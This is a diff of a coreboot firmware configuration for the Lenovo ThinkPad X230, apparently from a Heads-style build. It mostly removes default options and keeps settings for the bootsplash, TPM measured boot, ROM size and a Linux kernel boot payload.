CONFIG_ANY_TOOLCHAIN is not set -# CONFIG_CCACHE is not set -# CONFIG_IWYU is not set -# CONFIG_FMD_GENPARSER is not set -# CONFIG_UTIL_GENPARSER is not set -CONFIG_OPTION_BACKEND_NONE=y -# CONFIG_USE_OPTION_TABLE is not set -CONFIG_COMPRESS_RAMSTAGE_LZMA=y -# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set -CONFIG_SEPARATE_ROMSTAGE=y -CONFIG_INCLUDE_CONFIG_FILE=y -CONFIG_COLLECT_TIMESTAMPS=y CONFIG_TIMESTAMPS_ON_CONSOLE=y # CONFIG_USE_BLOBS is not set -# CONFIG_COVERAGE is not set -# CONFIG_UBSAN is not set -CONFIG_HAVE_ASAN_IN_RAMSTAGE=y -# CONFIG_ASAN is not set -# CONFIG_NO_STAGE_CACHE is not set -CONFIG_TSEG_STAGE_CACHE=y -# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 -# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set -# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set CONFIG_FW_CONFIG=y CONFIG_FW_CONFIG_SOURCE_CBFS=y - -# -# Software Bill Of Materials (SBOM) -# -# CONFIG_SBOM is not set -# end of Software Bill Of Materials (SBOM) -# end of General setup - -# -# Mainboard -# - -# -# Important: Run 'make distclean' before switching boards -# -# CONFIG_VENDOR_51NB is not set -# CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set -# CONFIG_VENDOR_AMD is not set -# CONFIG_VENDOR_AOPEN is not set -# CONFIG_VENDOR_APPLE is not set -# CONFIG_VENDOR_ASROCK is not set -# CONFIG_VENDOR_ASUS is not set -# CONFIG_VENDOR_BIOSTAR is not set -# CONFIG_VENDOR_BOSTENTECH is not set -# CONFIG_VENDOR_BYTEDANCE is not set -# CONFIG_VENDOR_CAVIUM is not set -# CONFIG_VENDOR_CLEVO is not set -# CONFIG_VENDOR_COMPULAB is not set -# CONFIG_VENDOR_DELL is not set -# CONFIG_VENDOR_EMULATION is not set -# CONFIG_VENDOR_EXAMPLE is not set -# CONFIG_VENDOR_FACEBOOK is not set -# CONFIG_VENDOR_FOXCONN is not set -# CONFIG_VENDOR_GETAC is not set -# CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GOOGLE is not set -# CONFIG_VENDOR_HP is not set -# CONFIG_VENDOR_IBASE is not set -# CONFIG_VENDOR_IBM is not set -# CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_INVENTEC is not set -# CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y -# CONFIG_VENDOR_LIBRETREND is not set -# CONFIG_VENDOR_MSI is not set -# CONFIG_VENDOR_OCP is not set -# CONFIG_VENDOR_OPENCELLULAR is not set -# CONFIG_VENDOR_PACKARDBELL is not set -# CONFIG_VENDOR_PCENGINES is not set -# CONFIG_VENDOR_PINE64 is not set -# CONFIG_VENDOR_PORTWELL is not set -# CONFIG_VENDOR_PRODRIVE is not set -# CONFIG_VENDOR_PROTECTLI is not set -# CONFIG_VENDOR_PURISM is not set -# CONFIG_VENDOR_RAZER is not set -# CONFIG_VENDOR_RODA is not set -# CONFIG_VENDOR_SAMSUNG is not set -# CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SIEMENS is not set -# CONFIG_VENDOR_SIFIVE is not set -# CONFIG_VENDOR_STARLABS is not set -# CONFIG_VENDOR_SUPERMICRO is not set -# CONFIG_VENDOR_SYSTEM76 is not set -# CONFIG_VENDOR_TI is not set -# CONFIG_VENDOR_UP is not set -CONFIG_BOARD_SPECIFIC_OPTIONS=y -CONFIG_MAINBOARD_FAMILY="ThinkPad X230" -CONFIG_MAINBOARD_PART_NUMBER="ThinkPad X230" -CONFIG_MAINBOARD_VERSION="1.0" -CONFIG_MAINBOARD_DIR="lenovo/x230" -CONFIG_VGA_BIOS_ID="8086,0166" -CONFIG_DIMM_MAX=4 -CONFIG_DIMM_SPD_SIZE=256 -CONFIG_FMDFILE="" CONFIG_NO_POST=y -CONFIG_MAINBOARD_VENDOR="LENOVO" CONFIG_CBFS_SIZE=0x400000 -CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 -CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 -CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y -CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set -CONFIG_VARIANT_DIR="x230" -CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" -# CONFIG_VGA_BIOS is not set -CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" -CONFIG_DRAM_RESET_GATE_GPIO=10 -CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 -CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" -CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -CONFIG_USBDEBUG_HCD_INDEX=2 -CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 -CONFIG_TPM_PIRQ=0x0 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" -CONFIG_DCACHE_RAM_BASE=0xfefe0000 -CONFIG_DCACHE_RAM_SIZE=0x20000 -CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 -CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 -CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 -CONFIG_HAVE_INTEL_FIRMWARE=y -CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y -CONFIG_SPI_FLASH_WINBOND=y # CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_SPI_FLASH_GIGADEVICE=y -CONFIG_SPI_FLASH_STMICRO=y -# CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad X230" -# CONFIG_HAVE_IFD_BIN is not set -CONFIG_PCIEXP_HOTPLUG_BUSES=8 -CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 -CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 -# CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set -# CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set -# CONFIG_BOARD_LENOVO_L520 is not set -# CONFIG_BOARD_LENOVO_S230U is not set -# CONFIG_BOARD_LENOVO_T400 is not set -# CONFIG_BOARD_LENOVO_T500 is not set -# CONFIG_BOARD_LENOVO_R400 is not set -# CONFIG_BOARD_LENOVO_R500 is not set -# CONFIG_BOARD_LENOVO_W500 is not set -# CONFIG_BOARD_LENOVO_T410 is not set -# CONFIG_BOARD_LENOVO_T420 is not set -# CONFIG_BOARD_LENOVO_T420S is not set -# CONFIG_BOARD_LENOVO_THINKPAD_T430 is not set -# CONFIG_BOARD_LENOVO_T430S is not set -# CONFIG_BOARD_LENOVO_T431S is not set -# CONFIG_BOARD_LENOVO_T520 is not set -# CONFIG_BOARD_LENOVO_W520 is not set -# CONFIG_BOARD_LENOVO_T530 is not set -# CONFIG_BOARD_LENOVO_W530 is not set -# CONFIG_BOARD_LENOVO_T60 is not set -# CONFIG_BOARD_LENOVO_Z61T is not set -# CONFIG_BOARD_LENOVO_R60 is not set -# CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set -# CONFIG_BOARD_LENOVO_X131E is not set -# CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set -# CONFIG_BOARD_LENOVO_X200 is not set -# CONFIG_BOARD_LENOVO_X301 is not set -# CONFIG_BOARD_LENOVO_X201 is not set -# CONFIG_BOARD_LENOVO_X220 is not set -# CONFIG_BOARD_LENOVO_X220I is not set -# CONFIG_BOARD_LENOVO_X1 is not set CONFIG_BOARD_LENOVO_X230=y -# CONFIG_BOARD_LENOVO_X230T is not set -# CONFIG_BOARD_LENOVO_X230S is not set -# CONFIG_BOARD_LENOVO_X230_EDP is not set -# CONFIG_BOARD_LENOVO_X60 is not set -CONFIG_VBOOT_SLOTS_RW_AB=y -CONFIG_DRIVER_LENOVO_SERIALS=y -CONFIG_PS2K_EISAID="PNP0303" -CONFIG_PS2M_EISAID="LEN0020" -CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" -CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" -CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -# CONFIG_PCIEXP_L1_SUB_STATE is not set -# CONFIG_PCIEXP_CLK_PM is not set -# CONFIG_DRIVERS_UART_8250IO is not set -CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y -CONFIG_LINUX_COMMAND_LINE="" -CONFIG_BOARD_ROMSIZE_KB_12288=y -# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set CONFIG_COREBOOT_ROMSIZE_KB_4096=y -# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set -CONFIG_COREBOOT_ROMSIZE_KB=4096 -CONFIG_ROM_SIZE=0x00400000 -CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y -CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y -# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set -# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 -# end of Mainboard - -CONFIG_SYSTEM_TYPE_LAPTOP=y - -# -# Chipset -# - -# -# SoC -# -CONFIG_CHIPSET_DEVICETREE="northbridge/intel/sandybridge/chipset.cb" -CONFIG_CBFS_MCACHE_SIZE=0x4000 -CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_VERSTAGE_ADDR=0x2000000 -CONFIG_SMM_TSEG_SIZE=0x800000 -CONFIG_SMM_RESERVED_SIZE=0x100000 -CONFIG_SMM_MODULE_STACK_SIZE=0x400 -# CONFIG_USE_EXP_X86_64_SUPPORT is not set -CONFIG_SERIRQ_CONTINUOUS_MODE=y -CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 -CONFIG_EHCI_BAR=0xfef00000 -CONFIG_ACPI_CPU_STRING="CP%02X" -CONFIG_STACK_SIZE=0x2000 -CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 -CONFIG_INTEL_GMA_BCLV_WIDTH=16 -CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 -CONFIG_INTEL_GMA_BCLM_WIDTH=16 -CONFIG_BOOTBLOCK_IN_CBFS=y -CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 -CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 -CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 -CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 -CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 -CONFIG_FIXED_SMBUS_IO_BASE=0x400 -CONFIG_CBFS_CACHE_ALIGN=8 - -# -# CPU -# -CONFIG_CPU_INTEL_MODEL_206AX=y -CONFIG_CPU_INTEL_COMMON=y # CONFIG_ENABLE_VMX is not set # CONFIG_SET_IA32_FC_LOCK_BIT is not set # CONFIG_SET_MSR_AESNI_LOCK_BIT is not set -CONFIG_CPU_INTEL_COMMON_TIMEBASE=y -CONFIG_CPU_INTEL_COMMON_SMM=y -CONFIG_MICROCODE_UPDATE_PRE_RAM=y -CONFIG_PARALLEL_MP=y -CONFIG_XAPIC_ONLY=y -# CONFIG_X2APIC_ONLY is not set -# CONFIG_X2APIC_RUNTIME is not set -# CONFIG_X2APIC_LATE_WORKAROUND is not set -CONFIG_UDELAY_TSC=y -CONFIG_TSC_MONOTONIC_TIMER=y -CONFIG_TSC_SYNC_MFENCE=y -CONFIG_HAVE_SMI_HANDLER=y -CONFIG_SMM_TSEG=y -CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 -CONFIG_AP_STACK_SIZE=0x800 -CONFIG_SMP=y -CONFIG_SSE=y -CONFIG_SSE2=y -CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y -CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y -CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set -# CONFIG_CPU_MICROCODE_CBFS_NONE is not set - -# -# Northbridge -# -CONFIG_USE_NATIVE_RAMINIT=y -CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y -# CONFIG_NATIVE_RAMINIT_IGNORE_MAX_MEM_FUSES is not set -# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_MAX_DIMMS is not set -# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set -# CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set # CONFIG_RAMINIT_ENABLE_ECC is not set - -# -# Southbridge -# -CONFIG_SOUTHBRIDGE_INTEL_BD82X6X_COMMON=y -CONFIG_SOUTHBRIDGE_INTEL_C216=y -# CONFIG_HIDE_MEI_ON_ERROR is not set -CONFIG_PCIEXP_HOTPLUG=y -CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_ME=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_EARLY_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI_ICH9=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y -CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y -CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y -# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set # CONFIG_INTEL_CHIPSET_LOCKDOWN is not set -CONFIG_TCO_SPACE_NOT_YET_SPLIT=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y -CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 -CONFIG_RCBA_LENGTH=0x4000 - -# -# Super I/O -# - -# -# Embedded Controllers -# -CONFIG_EC_ACPI=y -CONFIG_EC_LENOVO_H8=y -CONFIG_H8_BEEP_ON_DEATH=y -CONFIG_H8_FLASH_LEDS_ON_DEATH=y -# CONFIG_H8_SUPPORT_BT_ON_WIFI is not set -# CONFIG_H8_FN_CTRL_SWAP is not set -CONFIG_H8_HAS_BAT_THRESHOLDS_IMPL=y -CONFIG_EC_LENOVO_PMH7=y - -# -# Intel Firmware -# -CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y -CONFIG_ARCH_X86=y -CONFIG_ARCH_BOOTBLOCK_X86_32=y -CONFIG_ARCH_VERSTAGE_X86_32=y -CONFIG_ARCH_ROMSTAGE_X86_32=y -CONFIG_ARCH_POSTCAR_X86_32=y -CONFIG_ARCH_RAMSTAGE_X86_32=y -CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_HAVE_EXP_X86_64_SUPPORT=y -CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y -CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y -CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 -CONFIG_PC80_SYSTEM=y -CONFIG_HAVE_CMOS_DEFAULT=y -CONFIG_POSTCAR_STAGE=y -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set -CONFIG_COLLECT_TIMESTAMPS_TSC=y -CONFIG_HAVE_CF9_RESET=y -CONFIG_DEBUG_HW_BREAKPOINTS=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y -# CONFIG_DUMP_SMBIOS_TYPE17 is not set -# end of Chipset - -# -# Devices -# -CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y -CONFIG_HAVE_LINEAR_FRAMEBUFFER=y -CONFIG_MAINBOARD_HAS_LIBGFXINIT=y -CONFIG_MAINBOARD_USE_LIBGFXINIT=y -# CONFIG_VGA_ROM_RUN is not set -# CONFIG_NO_GFX_INIT is not set -CONFIG_NO_EARLY_GFX_INIT=y - -# -# Display -# -# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y -CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 -# end of Display - -CONFIG_PCI=y -CONFIG_ECAM_MMCONF_SUPPORT=y -CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_HDA_CODEC_SUPPORT=y -CONFIG_PCIEXP_PLUGIN_SUPPORT=y -CONFIG_ECAM_MMCONF_LENGTH=0x04000000 # CONFIG_PCI_ALLOW_BUS_MASTER is not set -# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set -# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y -# CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -# CONFIG_EARLY_PCI_BRIDGE is not set -CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 -CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 -CONFIG_INTEL_GMA_HAVE_VBT=y -CONFIG_INTEL_GMA_ADD_VBT=y -# CONFIG_SOFTWARE_I2C is not set -CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_USE_DDR3=y -# end of Devices - -# -# Generic Drivers -# -CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -# CONFIG_ELOG is not set -CONFIG_CACHE_MRC_SETTINGS=y -# CONFIG_MRC_SETTINGS_PROTECT is not set -# CONFIG_SMMSTORE is not set -CONFIG_SPI_FLASH=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y -# CONFIG_SPI_FLASH_NO_FAST_READ is not set -CONFIG_SPI_FLASH_ADESTO=y -CONFIG_SPI_FLASH_AMIC=y -CONFIG_SPI_FLASH_ATMEL=y -CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_MACRONIX=y -CONFIG_SPI_FLASH_SPANSION=y -CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_ISSI=y -CONFIG_TPM_INIT_RAMSTAGE=y -# CONFIG_TPM_PPI is not set -CONFIG_NO_UART_ON_SUPERIO=y -# CONFIG_DRIVERS_UART_OXPCIE is not set -CONFIG_HAVE_USBDEBUG=y -CONFIG_HAVE_USBDEBUG_OPTIONS=y -# CONFIG_USBDEBUG is not set -# CONFIG_VPD is not set -# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set -# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set -# CONFIG_DRIVERS_I2C_MAX98396 is not set -CONFIG_INTEL_INT15=y -CONFIG_INTEL_GMA_ACPI=y -CONFIG_VBT_CBFS_COMPRESSION_LZMA=y -# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set -# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set -CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" -CONFIG_GFX_GMA=y -CONFIG_GFX_GMA_PANEL_1_ON_LVDS=y -CONFIG_GFX_GMA_DYN_CPU=y -CONFIG_GFX_GMA_GENERATION="Ironlake" -CONFIG_GFX_GMA_PCH="Cougar_Point" -CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" -CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" -# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set CONFIG_DRIVERS_PS2_KEYBOARD=y -CONFIG_DRIVERS_MC146818=y # CONFIG_USE_PC_CMOS_ALTCENTURY is not set -CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 -CONFIG_MEMORY_MAPPED_TPM=y -CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 -CONFIG_DRIVERS_RICOH_RCE822=y -# CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y -# end of Generic Drivers - -# -# Security -# - -# -# CBFS verification -# -# CONFIG_CBFS_VERIFICATION is not set -# end of CBFS verification - -# -# Verified Boot (vboot) -# -CONFIG_VBOOT_LIB=y -# end of Verified Boot (vboot) - -# -# Trusted Platform Module -# -# CONFIG_NO_TPM is not set -CONFIG_TPM1=y -CONFIG_TPM=y -CONFIG_MAINBOARD_HAS_TPM1=y -# CONFIG_TPM_DEACTIVATE is not set -# CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set -# CONFIG_TPM_LOG_CB is not set -CONFIG_TPM_LOG_TPM1=y -CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" -CONFIG_PCR_BOOT_MODE=1 -CONFIG_PCR_HWID=1 -CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 -CONFIG_PCR_RUNTIME_DATA=3 -# end of Trusted Platform Module - -# -# Memory initialization -# -CONFIG_PLATFORM_HAS_DRAM_CLEAR=y -# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set -# end of Memory initialization - -# CONFIG_INTEL_TXT is not set -CONFIG_BOOTMEDIA_LOCK_NONE=y -# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set -# CONFIG_BOOTMEDIA_LOCK_CHIP is not set -# CONFIG_BOOTMEDIA_SMM_BWP is not set -# end of Security - -CONFIG_ACPI_HAVE_PCAT_8259=y -CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y -CONFIG_ACPI_SOC_NVS=y -CONFIG_ACPI_NO_CUSTOM_MADT=y -CONFIG_ACPI_COMMON_MADT_LAPIC=y -CONFIG_ACPI_COMMON_MADT_IOAPIC=y -CONFIG_HAVE_ACPI_TABLES=y -CONFIG_BOOT_DEVICE_SPI_FLASH=y -CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y -CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 - -# -# Console -# -CONFIG_BOOTBLOCK_CONSOLE=y -CONFIG_POSTCAR_CONSOLE=y -CONFIG_SQUELCH_EARLY_SMP=y -# CONFIG_SPKMODEM is not set -# CONFIG_CONSOLE_NE2K is not set -CONFIG_CONSOLE_CBMEM=y -# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set -# CONFIG_CONSOLE_SPI_FLASH is not set -# CONFIG_CONSOLE_I2C_SMBUS is not set CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=8 -CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y -CONFIG_CONSOLE_USE_ANSI_ESCAPES=y -CONFIG_HWBASE_DEBUG_CB=y -# end of Console - -CONFIG_HAVE_ACPI_RESUME=y -CONFIG_RESUME_PATH_SAME_AS_BOOT=y -CONFIG_HAVE_MONOTONIC_TIMER=y -CONFIG_HAVE_OPTION_TABLE=y -CONFIG_IOAPIC=y -CONFIG_USE_WATCHDOG_ON_BOOT=y - -# -# System tables -# -CONFIG_GENERATE_SMBIOS_TABLES=y -CONFIG_SMBIOS_PROVIDED_BY_MOBO=y -CONFIG_BIOS_VENDOR="coreboot" -CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" -# end of System tables - -# -# Payload -# -# CONFIG_PAYLOAD_NONE is not set -# CONFIG_PAYLOAD_ELF is not set -# CONFIG_PAYLOAD_BOOTBOOT is not set -# CONFIG_PAYLOAD_FILO is not set -# CONFIG_PAYLOAD_GRUB2 is not set -# CONFIG_PAYLOAD_SEAGRUB is not set -# CONFIG_PAYLOAD_LINUXBOOT is not set -# CONFIG_PAYLOAD_SEABIOS is not set -# CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set -CONFIG_COMPRESS_SECONDARY_PAYLOAD=y - -# -# Secondary Payloads -# -# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set -# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set -# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set -# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set -# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set -# CONFIG_TINT_SECONDARY_PAYLOAD is not set -# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set -# end of Secondary Payloads -# end of Payload - -# -# Debugging -# - -# -# CPU Debug Settings -# -# CONFIG_DISPLAY_MTRRS is not set - -# -# Vendorcode Debug Settings -# - -# -# BLOB Debug Settings -# - -# -# General Debug Settings -# -# CONFIG_FATAL_ASSERTS is not set -# CONFIG_DEBUG_CBFS is not set -CONFIG_HAVE_DEBUG_RAM_SETUP=y -# CONFIG_DEBUG_RAM_SETUP is not set -CONFIG_HAVE_DEBUG_SMBUS=y -# CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_MALLOC is not set -# CONFIG_DEBUG_RESOURCES is not set -# CONFIG_DEBUG_CONSOLE_INIT is not set -# CONFIG_DEBUG_SPI_FLASH is not set -# CONFIG_DEBUG_FUNC is not set -# CONFIG_DEBUG_BOOT_STATE is not set -# CONFIG_DEBUG_ADA_CODE is not set -# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set -# end of Debugging - -CONFIG_RAMSTAGE_ADA=y -CONFIG_RAMSTAGE_LIBHWBASE=y -CONFIG_HWBASE_DYNAMIC_MMIO=y -CONFIG_HWBASE_DEFAULT_MMCONF=0xf0000000 -CONFIG_HWBASE_DIRECT_PCIDEV=y 